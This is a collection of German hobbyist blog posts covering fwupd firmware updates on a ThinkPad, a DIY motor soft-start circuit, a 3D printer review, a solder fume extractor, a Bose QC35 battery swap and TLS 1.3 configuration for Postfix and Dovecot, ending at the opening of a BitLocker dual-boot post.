│                          • Requires AC power
│                          • Needs a reboot after installation
│                          • Cryptographic hash verification is available
│                          • Device is usable for the duration of the update
│   
├─UEFI Device Firmware:
│     Device ID:           c0649684d1e6688e8147fac95eccb4fdd18d05aa
│     Current version:     192.64.1551
│     Minimum Version:     0.0.1
│     Vendor:              DMI:LENOVO
│     GUID:                2c0665e2-fdbd-495e-b8e4-69d92b9c119a
│     Device Flags:        • Internal device
│                          • Updatable
│                          • Requires AC power
│                          • Needs a reboot after installation
│                          • Device is usable for the duration of the update
│   
├─UEFI Device Firmware:
│     Device ID:           489f23b2ba9c1adf3e9f9f10598c98ba5c6bba39
│     Current version:     0.1.19
│     Minimum Version:     0.1.19
│     Vendor:              DMI:LENOVO
│     GUID:                38ea6335-29ca-417b-8cd4-6b4e5e866f92
│     Device Flags:        • Internal device
│                          • Updatable
│                          • Requires AC power
│                          • Needs a reboot after installation
│                          • Device is usable for the duration of the update
│   
└─UEFI Device Firmware:
      Device ID:           88cf266a57697921241cc5f4b412c3f1b5a07780
      Current version:     1.1.8
      Minimum Version:     0.0.1
      Vendor:              DMI:LENOVO
      GUID:                a6634b3a-f446-42f0-a0b2-62c7d4dcb694
      Device Flags:        • Internal device
                           • Updatable
                           • Requires AC power
                           • Needs a reboot after installation
                           • Device is usable for the duration of the update
```

Wie man sehen kann, ist bei diesem Gerät der Support recht weitreichend. Damit fwupd in seinem „Katalog“ überprüfen kann, ob es für eine bestimmte Hardware ein Update gibt, muss man diese kurz aktualisieren. Dieses geht direkt mit einem: *fwupdmgr refresh –force*

Natürlich merkt fwupd auch selbst, wenn sein Datenstand alt ist und bietet ein Update vor der Überprüfung an.

```
root@errorlap:/home/kernel# fwupdmgr get-updates
Firmware metadata has not been updated for 30 days and may not be up to date.

Update now? (Requires internet connection) [y|N]: y
Fetching metadata https://cdn.fwupd.org/downloads/firmware.xml.gz
Downloading…             [***************************************]
Fetching signature https://cdn.fwupd.org/downloads/firmware.xml.gz.asc

Successfully downloaded new metadata: 5 local devices supported
• Thunderbolt Controller has the latest available firmware version
• SAMSUNG MZVLB256HBHQ-000L7 has the latest available firmware version
• UEFI Device Firmware has the latest available firmware version
• UEFI Device Firmware has no available firmware updates
20N588101
│
├─System Firmware:
│ │   Device ID:           6150dd1f7291b0709289ab8a53cc85a17e117ef2
│ │   Current version:     0.1.65
│ │   Minimum Version:     0.0.1
│ │   Vendor:              LENOVO (DMI:LENOVO)
│ │   GUID:                603baf73-b997-45b5-86b4-2f981a008e18
│ │   Device Flags:        • Internal device
│ │                        • Updatable
│ │                        • Requires AC power
│ │                        • Supported on remote server
│ │                        • Needs a reboot after installation
│ │                        • Cryptographic hash verification is available
│ │                        • Device is usable for the duration of the update
│ │ 
│ ├─ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS for Machine types: 20N2, 20N3, 20N4, 20N5, 20N6, 20N7, 20Q9, 20QH, 20RH, 20RJ) System Update:
│ │     New version:       0.1.70
│ │     Remote ID:         lvfs
│ │     Summary:           Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC System Firmware
│ │     License:           Proprietary
│ │     Size:              25,1 MB
│ │     Vendor:            Lenovo Ltd.
│ │     Flags:             is-upgrade
│ │     Description:       Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS) System Firmware Version 1.70
│ │     
│ │     The computer will be restarted automatically after updating BIOS completely. Do NOT turn off your computer or remove the AC adaptor while update is in progress.
│ │     
│ │     This stable release fixes the following issues:
│ │     
│ │      • Fixed an issue where Setup Settings Capture/Playback Utility (SRSETUP) causes 191 error if Secure Boot Mode is reset to Setup Mode and
│ │     
│ │     Supervisor Password is changed at the same time.
│ │     
│ │      • Fixed an issue where system might hang at POST when Thunderbolt3 Dock Gen2 is attached.
│ │   
│ ├─ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS for Machine types: 20N2, 20N3, 20N4, 20N5, 20N6, 20N7, 20Q9, 20QH, 20RH, 20RJ) System Update:
│ │     New version:       0.1.69
│ │     Remote ID:         lvfs
│ │     Summary:           Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC System Firmware
│ │     License:           Proprietary
│ │     Size:              25,1 MB
│ │     Vendor:            Lenovo Ltd.
│ │     Flags:             is-upgrade
│ │     Description:       Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS) System Firmware 1.69
│ │     
│ │     The computer will be restarted automatically after updating BIOS completely. Do NOT turn off your computer or remove the AC adaptor while update is in progress.
│ │     
│ │     This stable release fixes the following issues:
│ │     
│ │      • This time BIOS release has no impact for Linux users.
│ │   
│ ├─ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS for Machine types: 20N2, 20N3, 20N4, 20N5, 20N6, 20N7, 20Q9, 20QH, 20RH, 20RJ) System Update:
│ │     New version:       0.1.68
│ │     Remote ID:         lvfs
│ │     Summary:           Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC System Firmware
│ │     License:           Proprietary
│ │     Size:              25,1 MB
│ │     Vendor:            Lenovo Ltd.
│ │     Flags:             is-upgrade
│ │     Description:       Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS) System Firmware 1.68
│ │     
│ │     The computer will be restarted automatically after updating BIOS completely. Do NOT turn off your computer or remove the AC adaptor while update is in progress.
│ │     
│ │     This stable release fixes the following issues:
│ │     
│ │      • Fixed an issue where keyboard language settings could not be applied by Setup Settings Capture/Playback Utility (SRSETUP).
│ │      • Fixed an issue where WWAN device firmware update process might fail when Thunderbolt BIOS Assist Mode is set to Enabled.
│ │      • Fixed an issue where BIOS might generate 0288 beep error.
│ │      • Support for TCO Certified Logo shown on POST screen.
│ │   
│ ├─ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS for Machine types: 20N2, 20N3, 20N4, 20N5, 20N6, 20N7, 20Q9, 20QH, 20RH, 20RJ) System Update:
│ │     New version:       0.1.67
│ │     Remote ID:         lvfs
│ │     Summary:           Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC System Firmware
│ │     License:           Proprietary
│ │     Size:              25,1 MB
│ │     Vendor:            Lenovo Ltd.
│ │     Flags:             is-upgrade
│ │     Description:       Lenovo ThinkPad T490/ThinkPad P43s/ThinkPad T590/ThinkPad P53s/ThinkPad T490 HC (W-BIOS) System Firmware 1.67
│ │     
│ │      • Fixed an issue where Intel TXT Feature cannot be Enabled in ThinkPad Setup
│ │     
│ │     when Device Guard is Enabled.
│ │     
│ │      • Fixed an issue where system might hang at POST when attach US

[... Artikel gekürzt. Vollständiger Inhalt unter: https://www.kernel-error.de/2021/03/03/firmware-bios-updates-unter-linux-koennen-mit-fwupd-spass-machen/ ...]

---


---


## 8. Sanftanlauf für Elektromotoren: Softstart & Anlaufstrombegrenzer

**Veröffentlicht:** 2017-08-12
**Permalink:** https://www.kernel-error.de/2017/08/12/sanftanlauf-fuer-elektromotor-softstart-anlaufstrombegrenzer/
**Description:** So funktioniert ein Sanftanlauf: Reduziere den Anlaufstrom von Elektromotoren mit einem Softstarter. Ideal für Kreissägen, Kompressoren und DIY-Projekte.

In meiner Werkstatt habe ich ein paar Elektrogeräte für welche ich gerne einen Sanftanlauf hätte. Einmal um den „Druck“ den hohen Anlaufstrom etwas von den ~Sicherungen~ zu nehmen und dann natürlich um die Geräte an sich etwas zu schonen, denn ein schlagartig anlaufender Elektromotor haut schon ganz schön rein 🙂

Natürlich gibt es viele schöne Dinge, die man einfach kaufen und zwischen stecken/einbauen kann aber ich wollte selbst einmal überlegen wie ich es realisieren kann und vor allem mit dem Zeug aus meiner „Restekiste“. So bin ich auf folgende Schaltung für meine Absauganlage gekommen. Die Anlage bekommt nur Strom, wenn ein anders Elektrogerät eingeschaltet wird und schaltet mit einem gewissen Nachlauf selbst ab (diese Schaltung führe ich vielleicht auch mal irgendwann auf). Es funktioniert also nicht diese einfach immer unter Strom zwischen zu stecken! Oh und natürlich sind Arbeiten am Strom sehr gefährlich und dürfen nur von Menschen ausgeführt werden, welche dieses dürfen 🙂 Diese Beschreibung also nicht nachmachen!

[[Bild: Schaltplan für einen 240V Sanftanlauf für Elektromotoren.]](https://www.kernel-error.de/wp-content/uploads/2017/08/Schaltplan.pdf)

C1 und R1 arbeiten in der Schaltung als eine Art Kondensatornetzteil. D1 – D4 übernehmen die Aufgabe des Gleichrichters. R2 sorgt dafür, dass beim Abschalten die Schaltung möglichst schnell spannungsfrei ist (die Kondensatoren also entladen werden). C2 glättet die Spannung aus dem Gleichrichter, D5 nagelt die Spannung in der Schaltung auf ca. 18V fest. Über R3 wird C3 langsam geladen. R4 sorgt wieder für schnelles Entladen von C3. D6 schützt Q1 vor der Spule in K1, R5 ist die eigentliche „Handbremse“ für den nachgeschalteten Elektromotor. Er lässt, bis zum anziehen des Relais weniger durch und der Motor kann nicht mit voller Power loslegen.

Kommt also Spannung auf die Schaltung wird diese so lang über R5 zum Motor geleitet, bis C3 geladen ist. Denn wenn C3 voll ist, schaltet Q1 durch und somit zieht K1 an und überbrückt so R5.

R5 muss daher auf den nach gelagerten Elektromotor abgestimmt sein, sonst platzt R5 ggf. einfach. Die Größe von C3 bestimmt hierbei die Länge der Verzögerung von K1. 220μF war dabei für mich etwas zu klein. 440μF ist die perfekte Zeit

Die Platine selbst sieht nun so aus.

[[Bild: Selbstgebaute Platine für einen 240V Sanftanlauf für Elektromotoren.]](https://www.kernel-error.de/wp-content/uploads/2017/08/platine-scaled.jpg)

Oh, die Absauganlage besteht aus einem Nassauger von Kärcher hinter einem selbstgebauten Zyklonabscheider.

Fragen? Dann fragen 🙂

---


---


## 9. QIDI i-Mate S 3D-Drucker: Erfahrungen, Upgrades & Support-Tipps

**Veröffentlicht:** 2023-06-05
**Permalink:** https://www.kernel-error.de/2023/06/05/qidi/
**Description:** QIDI i-Mate S 3D-Drucker im Test — Erfahrungsbericht zu Druckqualität, Hardware-Upgrades, Filament-Kompatibilität und Hersteller-Support.

Ich möchte ein paar Worte über meinen 3D Drucker verlieren. Seit knapp 2 Jahre werkelt bei mir der i-mates von QIDI Tech. Ich habe damals ein paar Testberichte durchgeschaut und bin auf diesen gekommen. Wichtig war mir, ein geringer Preis, beheizbares Druckbett, kompaktes Design, die Möglichkeit eines geschlossenen Druckraumes sowie, dass sich das Druckbett  nur in der Z-Achse bewegt und natürlich, dass ich den Standard drucken kann. Also PLA, ABS und PETG.

Bisher bin ich extrem zufrieden mit dem Drucker. Er tut genau, was er soll und für den Preis in guter Qualität. Bis hier finden sich diese Informationen sicherlich besser in verschiedensten Testberichten….

Gekauft habe ich den Drucker direkt bei AliExpress im offiziellen Store von QIDI Tec: [https://s.click.aliexpress.com/e/_DFkNgSl](https://s.click.aliexpress.com/e/_DFkNgSl)

Was sich in den Testberichten selten findet, sind Informationen zum Filament Sensor, einem all oder full metal Extruder/Hotend und diesen nervigen Muttern beim bed leveling, sowie etwas zum Support von QIDI Technology und woher man denn Firmware Upgrades bekommt.

Starten wir mit dem Support, dieser war bisher durchgehen exzellent. Es gibt verschiedene Wege den Support zu erreichen. Für mich funktionierte am besten E-Mail, direkt an: [mateb@qd3dprinter.com](mailto:mateb@qd3dprinter.com)
Der Support war immer freundlich, immer hilfsbereit, hatte super Infos, Videos, Anleitungen und was man sich sonst noch wünscht. Der Kontakt lief ohne jedes Problem vollständig in englisch. Dateiaustausch wurde in der Regel über google drive realisiert. Wer schon einmal mit Herstellern hinter der Chinesischen Mauer/Firewall Daten austauschen wollte, versteht den Mehrwert von google drive, in dieser Beziehung. Reagiert hat der Support auf meine E-Mails, in der Regeln innerhalb von 24h (selbst an Wochenenden und Feiertagen). Ich will einfach keinen anderen Support mehr haben.

Mein erstes Upgrade für den Drucker war, nach knapp einem Jahr, ein full-metal Extruder. Ebenfalls gekauft bei AliExpress: [https://de.aliexpress.com/item/1005003165841775.html](https://de.aliexpress.com/item/1005003165841775.html)

[[Bild: Austausch All-Metal-Hotends beim Qidi iMate S]](https://www.kernel-error.de/wp-content/uploads/2023/06/Qidi-imates-all-metal-hotend-scaled.jpg)

Das nötige Firmware Update gab es direkt beim Support inkl. Anleitung. Einbau war sehr einfach, besondere Einstellungsänderungen waren in der QIDI Print App nicht nötig. Die QIDI Print App basiert auf Cura, wurde aber speziell eingepasst für diesen 3D Drucker. 

Mit dem neuen Druckkopf hatte ich leider ein paar Probleme. Die Layerhaftung war schlechter. Hier konnte mir der Support helfen. Nicht jeder Schrittmotor läuft 100%tig gleich. Zusammen mit dem Support habe ich getestet ob bei 2cm Filamentvorschub auch wirklich 2cm bewegt werden, was bei mir nicht der Fall war. Daraufhin habe ich vom Support eine für mich angepasste Konfigurationsdatei bekommen. Diese habe ich einfach „gedruckt“ und schon war dieses Problem Geschichte. Insg. waren das 3 E-Mails und 15 Minuten Arbeit.

Die Schrittmotoren selbst werden beim Druck sehr warm. Nicht zu warm, aber doch so warm, dass ich dem Verlangen nicht nachgeben konnte sie zu kühlen. Dazu habe ich folgende selbstklebende Kühlkörper gefunden: [https://s.click.aliexpress.com/e/_DEuRYyh](https://s.click.aliexpress.com/e/_DEuRYyh)

Diese habe ich an allen Schrittmotoren installiert. Ausgenommen der Druckkopf, dieser wird bereits gut gekühlt und das zusätzliche Gewicht wäre sicherlich nicht hilfreich. Also nur ein Kühlkörper für jede Achse.

[[Bild: Kühlkörper auf dem Schrittmotor des Qidi iMate S]](https://www.kernel-error.de/wp-content/uploads/2023/06/Qidi-imates-Schrittmotor-kuehlung-scaled.jpg)

Wer die passive Kühlung direkt in eine aktive verwandeln möchte dem findet hier die passenden Lüfter, direkt für 24V: [https://s.click.aliexpress.com/e/_Dk6rsrB](https://s.click.aliexpress.com/e/_Dk6rsrB)

Zuletzt fehlte mir noch ein Filament Sensor. Mal bricht das Filament (super selten aber passiert) oder es ist einfach mitten im Druck leer und dann läuft der Drucker einfach weiter. Der Filament Run Sensor bemerkt dieses und stoppt den Druckvorgang. So kann einfach Filament „nachgeladen“ werden und der Druck läuft weiter. Ebenfalls gekauft bei AliExpress: [https://s.click.aliexpress.com/e/_DFCISh7](https://s.click.aliexpress.com/e/_DFCISh7)

[Bild: Filament Sensor beim Qidi iMate S - seitlich]

[Bild: Filament Sensor beim Qidi iMate S]

[Bild: Filament Sensor beim Qidi iMate S - mit durchlaufendem Filament]

Die Installation ist wieder extrem einfach, vor allem mit der Anleitung des Supportes. Es gab wieder eine Konfigurationsdatei, welche man einfach druckt und schon ist der Filament Sensor funktionstüchtig. OK, in der deutschen Übersetzung nennt sich der Punkt Glühfaden-Sensor… Für den Hinweis auf dieses Übersetzungsproblemchen hat sich der Support sehr gefreut und möglicherweise ist es im nächsten Firmwareupdate bereits ersetzt durch Filament-Sensor.

Bed Leveling… Leider hat dieser Drucker kein automatisches Leveling. Es gibt im Druckmenü eine geführte Funktion und diese ist einfach und kein Problem. Ebenfalls sind die eigentlichen Muttern kein Problem, nur die Sicherung mittels einer weiteren Flügelmutter ist sehr nervig. Man durchläuft das Leveling Programm, stellt alles perfekt ein und sichert die Muttern, unter Zuhilfenahme der Flügelmuttern. Vielleicht habe ich zu dicke Finger aber jedes Mal hat sich der Abstand zur Nozzel dadurch wieder verändert. Die einfachste Lösung war dann für mich folgender Druck von Thingiverse: [https://www.thingiverse.com/thing:4806871](https://www.thingiverse.com/thing:4806871)

[[Bild: 3D-gedruckte Ersatzmutter für das Bed-Leveling beim Qidi iMate S]](https://www.kernel-error.de/wp-content/uploads/2023/06/Qidi-imates-leveling-nut-scaled.jpg)

Dazu einfach ein paar selbst sichernde M4 Muttern: [https://amzn.to/3MU6fCW](https://amzn.to/3MU6fCW)

Gedruckt habe ich die neuen Leveling Nuts mit PETG… Funktioniert super und Bed Leveling macht fast Spaß, so viel Spaß manuelles Leveling halt machen kann.

Filament… Japp ebenfalls Aliexpress und direkt von QIDI Tec: [https://s.click.aliexpress.com/e/_Dk0scHx](https://s.click.aliexpress.com/e/_Dk0scHx)

Tut und hält 😀

Nozzle… Zusammen mit dem Druckkopf bin ich auf eine Nozzel von Brozzl gewechselt. Einmal braucht meine Nozzel keinen Platz mehr für diesen Plastikschlauch (ist ja nun all metal) und zum anderen wollte ich etwas weg von Messing. Metall ist zwar viel härter, hinsichtlich Abnutzung, aber ich drucke nicht mit Material welches zu hoher Abnutzung führt und die Temperaturleitfähigkeit von Metall ist nicht so wirklich super. Geht, wenn man daran denkt die Temperatur immer +10°C zu nehmen aber beschichtetes Kupfer gefällt mir besser. Noch besserer Wäremeleitwert und sogar noch etwas härter als Messing. Hier der Link zu dem Teil: [https://www.brozzl.com/products/plated-copper-nozzles/](https://www.brozzl.com/products/plated-copper-nozzles/)

---


---


## 10. Lötdampfabsaugung selber bauen: DIY-Projekt mit 3D-Druck und Restteilen

**Veröffentlicht:** 2024-11-09
**Permalink:** https://www.kernel-error.de/2024/11/09/loetdampfabsaugung-aus-resten/
**Description:** Baue eine effektive Lötdampfabsaugung aus Restmaterialien mit 3D-gedrucktem Gehäuse, Lüftungsschlauch und Aktivkohlefilter – ideal für deine Werkbank.

Heute mal etwas ganz Einfaches… Beim Löten entstehen Dämpfe, die man besser nicht durch den „Lungenfilter“ aus der Luft ziehen sollte.

[Bild: 3D-gedruckte Lötdampfabsaugung]

Hier kommen Lötdampfabsaugung ins Spiel. Es gibt kleine, einfache Modelle für etwa 50 €, die [wie ein kleiner Tischventilator](https://s.click.aliexpress.com/e/_DBqspEl) in der Nähe stehen, die Dämpfe absaugen und meist durch einen Aktivkohlefilter leiten. Allerdings stehen mir diese Geräte immer im Weg, und die Lüfter sind oft so schwach, dass trotzdem noch ein großer Teil der Dämpfe zu mir gelangt.

Dann gibt es noch [Absaugungen mit mehr oder weniger flexiblem Schlauch](https://s.click.aliexpress.com/e/_DCGd8Sv). Auch hier erfolgt die Filterung ähnlich, aber diese Modelle kosten dann schnell ein paar Hundert Euro.

Da bei Projekten öfter mal Reste übrig bleiben, liegen in meinem Keller eigentlich schon alle Einzelteile für eine selbstgebaute Lötdampfabsaugung bereit. Man müsste sie nur noch zusammenbauen.

Ich habe noch einen 100-mm-Lüftungsschlauch aus Aluminium, der einigermaßen flexibel ist, einen 120-mm-12V-Lüfter, der für ordentlich Luftstrom sorgt, und ein paar 130-mm-Aktivkohlefilterplatten. Wenn ich davon einfach zwei doppelt nehme, geht mehr als genug Luft durch, und sie filtern die Dämpfe recht gut.

Mit FreeCAD habe ich dann ein Gehäuse für die Teile entworfen, das ich einfach unter meine Werkbank schrauben kann. So liegt nur der Schlauch in einer Ecke und kann bei Bedarf zur richtigen Stelle bewegt werden, um die Löt-Dämpfe direkt an der Quelle abzusaugen.

Hier ein paar Bilder für euch – die Druckdateien findet ihr bei [Maker World](https://makerworld.com/en/models/772111).

[[Bild: 3D-gedruckte Lötdampfabsaugung]](https://www.kernel-error.de/wp-content/uploads/2024/11/Loetgasabsaugung-5-scaled.jpg)

[[Bild: 3D-gedruckte Lötdampfabsaugung]](https://www.kernel-error.de/wp-content/uploads/2024/11/Loetgasabsaugung-4-scaled.jpg)

[[Bild: 3D-gedruckte Lötdampfabsaugung]](https://www.kernel-error.de/wp-content/uploads/2024/11/Loetgasabsaugung-3-scaled.jpg)

[[Bild: 3D-gedruckte Lötdampfabsaugung]](https://www.kernel-error.de/wp-content/uploads/2024/11/Loetgasabsaugung-2-scaled.jpg)

[[Bild: 3D-gedruckte Lötdampfabsaugung]](https://www.kernel-error.de/wp-content/uploads/2024/11/Loetgasabsaugung-1-scaled.jpg)

[Bild: 3D-gedruckte Lötdampfabsaugung][Bild: 3D-gedruckte Lötdampfabsaugung][Bild: 3D-gedruckte Lötdampfabsaugung][Bild: 3D-gedruckte Lötdampfabsaugung][Bild: 3D-gedruckte Lötdampfabsaugung]

Ob die Teile auch zu euren „Resten“ passen, müsst ihr selbst kurz prüfen.

Oh, [Schlauch](https://amzn.to/40Fcd2X) und [Filter](https://amzn.to/3O1oJm8) findet ihr bei Amazon.

---


---


## 11. Bose QuietComfort 35: Akku tauschen leicht gemacht

**Veröffentlicht:** 2021-01-07
**Permalink:** https://www.kernel-error.de/2021/01/07/bose-quietcomfort-35-akku-tauschen/
**Description:** Erfahre, wie du den Akku deines Bose QuietComfort 35 Kopfhörers austauschst. Schritt-für-Schritt-Anleitung für mehr Lebensdauer deiner Kopfhörer!

Der Akku in meinem Bose QC35 hat inzwischen ausgedient und muss ausgetauscht werden. Der verbaute Akku ist ein AHB110520CPS von Synergy. Leider konnte ich diesen nicht als Ersatzakku finden. Man kann ihn zwar aus China bestellen (ca. 35 €), aber er ist dann gebraucht, da er aus einem alten Kopfhörer ausgebaut wurde – natürlich „getestet“.

Alternativ gibt es die Möglichkeit, den Kopfhörer einzuschicken und den Akku dort tauschen zu lassen (ca. 70 €). Beides sind jedoch Lösungen, die mir nicht zusagen, denn im Grunde handelt es sich nur um einen einfachen 3,7V-Akku mit knapp 500 mAh.

Nach einiger Suche habe ich jedoch einen passenden Ersatz gefunden. Der Akku GSP072035 hat zwar etwas weniger mAh, was bedeutet, dass die Kopfhörer etwas früher leer sind – aber damit kann ich leben. Zumal die Standzeit des alten Akkus ohnehin schon stark eingeschränkt war. Bestellt habe den folgenden Ersatzakku bei Amazon: [https://amzn.to/2JXwhJc](https://amzn.to/2JXwhJc)

Der neue Akku passt zwar nicht exakt ins Akkufach des alten, ist jedoch klein genug, um problemlos im Kopfhörer Platz zu finden, ohne das Gewicht oder die Klangqualität zu beeinflussen. Man merkt den Unterschied also nicht!

Ein kleiner Tipp: Wenn man schon dabei ist, kann man auch gleich die Ohrpolster austauschen. Ich habe die folgenden Polster bereits zweimal erneuert und kann sie wärmstens empfehlen: [https://amzn.to/2L4xcbo](https://amzn.to/2L4xcbo)

Wie man den Akku selbst austauscht, zeigt eine erstklassige Anleitung von IFIXIT: [https://de.ifixit.com/Anleitung/Bose+QuietComfort+35+Akku+tauschen/134337](https://de.ifixit.com/Anleitung/Bose+QuietComfort+35+Akku+tauschen/134337)

[[Bild: Bild vom geöffnetem Bose QuietComfort 35 mit eingebautem Ersatzakku.]](https://www.kernel-error.de/wp-content/uploads/2021/01/Bose-QuietComfort-35-Replacement-Akku.jpg)

Sobald der alte Akku entfernt ist, klebt man den neuen mit einem kleinen Tropfen Heißkleber in die Ecke und lötet ihn wie den alten Akku an. Nach dem Zusammenbau sollte der Kopfhörer wieder wie gewohnt funktionieren – abgesehen von etwa 20–25 Minuten weniger Hörzeit.

**Kleines Update!** 😊

Inzwischen gibt es auf Amazon einen perfekt passenden Ersatzakku. Es war mal wieder Zeit für einen Austausch, und dieses Mal habe ich sogar ein Modell mit 600 mAh gefunden. Jetzt habe ich so viel Hörzeit wie noch nie zuvor mit meinen Kopfhörern! 🎧 [https://amzn.to/3CsPQnv](https://amzn.to/3CsPQnv)

Fragen? Dann fragt einfach! 🙂

---


---


## 12. TLS 1.3 für Postfix & Dovecot: Einrichtung und Konfiguration

**Veröffentlicht:** 2019-02-15
**Permalink:** https://www.kernel-error.de/2019/02/15/tls-1-3-fuer-postfix-und-dovecot/
**Description:** Anleitung zur Aktivierung von TLS 1.3 in Postfix und Dovecot. Erfahre, wie du die Konfiguration anpasst und die Verschlüsselung erfolgreich testest.

TLS 1.3 ist im Mailbetrieb kein Sonderfall mehr, sondern der Normalzustand. Voraussetzung ist lediglich, dass Postfix und Dovecot gegen eine aktuelle OpenSSL-Version gelinkt sind. Sobald OpenSSL TLS 1.3 unterstützt, wird es automatisch verwendet. Eine explizite Aktivierung in der Applikation ist nicht erforderlich.

Die eigentliche Aufgabe der Konfiguration besteht daher nicht darin, TLS 1.3 „einzuschalten“, sondern darin, alte Protokollversionen sauber zu deaktivieren und für den verbleibenden TLS-1.2-Fallback eine kontrollierte Cipher-Policy zu definieren.

[[Bild: Illustration zu TLS 1.3 im Mailbetrieb: Symbolische Darstellung von Postfix und Dovecot mit Schloss und Schlüssel vor Server-Hintergrund, steht für verschlüsselte SMTP- und IMAP-Verbindungen mit modernen TLS-Standards.]](https://www.kernel-error.de/wp-content/uploads/2019/02/postfix-dovecot-tls13.png)

### Voraussetzungen

Postfix und Dovecot müssen gegen OpenSSL ≥ 1.1.1 gebaut sein. OpenSSL 3.x funktioniert ebenfalls ohne Einschränkungen. Welche Version tatsächlich genutzt wird, lässt sich eindeutig prüfen:

```
postconf -a | grep -i tls
dovecot --version
ldd $(which dovecot) | grep ssl
openssl version
```

Wenn hier OpenSSL 1.1.1 oder neuer auftaucht, ist TLS 1.3 verfügbar.

### Postfix

Postfix verwendet TLS 1.3 automatisch, sofern der Client es anbietet. Entscheidend ist, welche Protokollversionen minimal erlaubt werden. TLS 1.0 und TLS 1.1 gelten als kryptographisch überholt und sollten nicht mehr akzeptiert werden.

Die folgende Konfiguration beschränkt Postfix auf TLS 1.2 und neuer. TLS 1.3 wird dabei bevorzugt ausgehandelt, TLS 1.2 dient nur noch als Fallback.

```
smtpd_tls_protocols = >=TLSv1.2
smtp_tls_protocols  = >=TLSv1.2

smtpd_tls_security_level = may
smtp_tls_security_level  = may

smtpd_tls_cert_file = /etc/letsencrypt/live/DOMAIN/fullchain.pem
smtpd_tls_key_file  = /etc/letsencrypt/live/DOMAIN/privkey.pem
```

Cipher-Optionen in Postfix gelten ausschließlich für TLS 1.2 und ältere Protokolle. TLS 1.3 verwendet fest definierte Cipher-Suites und ignoriert diese Einstellungen vollständig. Dennoch ist es sinnvoll, für den TLS-1.2-Fallback eine saubere Policy zu setzen.

```
tls_preempt_cipherlist = yes

smtpd_tls_ciphers = high
smtp_tls_ciphers  = high
```

Damit werden nur moderne Cipher mit Forward Secrecy genutzt, abhängig von den OpenSSL-Defaults der jeweiligen Distribution.

Session-Caching reduziert Handshake-Overhead und sollte aktiv sein:

```
smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache
smtp_tls_session_cache_database  = btree:${data_directory}/smtp_scache
```

### Dovecot

Auch Dovecot nutzt TLS 1.3 automatisch, sofern OpenSSL es bereitstellt. Die relevante Einstellung ist die minimale Protokollversion. Alles darunter wird explizit ausgeschlossen.

```
ssl = required
ssl_min_protocol = TLSv1.2
```

Die Cipher-Liste in Dovecot betrifft ebenfalls nur TLS 1.2 und älter. TLS 1.3 wird davon nicht beeinflusst. Eine explizite, restriktive Cipher-Liste verhindert jedoch unsaubere Fallbacks bei älteren Clients.

```
ssl_cipher_list = \
ECDHE-ECDSA-CHACHA20-POLY1305:\
ECDHE-RSA-CHACHA20-POLY1305:\
ECDHE-ECDSA-AES256-GCM-SHA384:\
ECDHE-RSA-AES256-GCM-SHA384

ssl_prefer_server_ciphers = yes
```

Die Zertifikate werden wie gewohnt eingebunden:

```
ssl_cert = </etc/letsencrypt/live/DOMAIN/fullchain.pem
ssl_key  = </etc/letsencrypt/live/DOMAIN/privkey.pem
```

### TLS 1.3 und Cipher-Suites

TLS 1.3 unterscheidet sich grundlegend von älteren Versionen. Die Cipher-Suites sind fest definiert und bestehen ausschließlich aus modernen AEAD-Verfahren mit integrierter Authentifizierung und Forward Secrecy. Typische Cipher sind AES-GCM und CHACHA20-POLY1305.

Postfix und Dovecot bieten keine Möglichkeit, diese Cipher direkt zu konfigurieren. Die Auswahl erfolgt intern durch OpenSSL während des Handshakes. Das ist beabsichtigt und reduziert Fehlkonfigurationen erheblich.

Wer versucht, TLS-1.3-Cipher über Applikationsoptionen zu beeinflussen, konfiguriert faktisch nur TLS 1.2.

### Verifikation

Ob TLS 1.3 tatsächlich genutzt wird, lässt sich eindeutig prüfen.

SMTP mit STARTTLS:

```
openssl s_client -starttls smtp -connect mail.example.com:25 -tls1_3
```

IMAPS:

```
openssl s_client -connect mail.example.com:993 -tls1_3
```

Wird der Handshake erfolgreich aufgebaut und ein moderner AEAD-Cipher angezeigt, ist TLS 1.3 aktiv. Fällt die Verbindung auf TLS 1.2 zurück, greift die konfigurierte Cipher-Liste.

### Fazit

TLS 1.3 erfordert in Postfix und Dovecot keine Sonderbehandlung. Entscheidend ist eine aktuelle OpenSSL-Version, eine klare Mindest-TLS-Policy und eine saubere Cipher-Konfiguration für den unvermeidbaren TLS-1.2-Fallback.

Alles andere erledigt der TLS-Stack selbst.

Kein Feature-Flag.
Keine Magie.
Nur korrekte Defaults, bewusst begrenzt.

---


---


## 13. BitLocker im Dual-Boot: Systemplatte auf Passwortschutz umstellen

**Veröffentlicht:** 2024-12-25
**Permalink:** https://www.kernel-error.de/2024/12/25/dual-boot-mit-linux-und-windows-bitlocker-fuer-die-systemplatte-auf-passwort-umstellen/
**Description:** Anleitung zur Umstellung von BitLocker auf Passwortschutz in einem Dual-Boot-System mit Linux und Windows. Schritt-für-Schritt zur sicheren Konfiguration.

Die Feiertage sind da, und ich hatte tatsächlich etwas Zeit zum Zocken. Früher hatte ich dafür einen eigenen Rechner, heute reicht ein Dual Boot. Gearbeitet wird unter Linux, gezockt unter Windows. Dafür habe ich mein Windows auf einer gesonderten SSD installiert. Natürlich ist diese ebenfalls verschlüsselt, in diesem Fall mit BitLocker.

[Bild: Illustration eines Dual-Boot-Systems mit Linux und Windows, dargestellt durch die Logos beider Betriebssysteme. Die Windows-Seite zeigt ein BitLocker-Schloss-Symbol, das auf die Verschlüsselung der Systemplatte hinweist.]

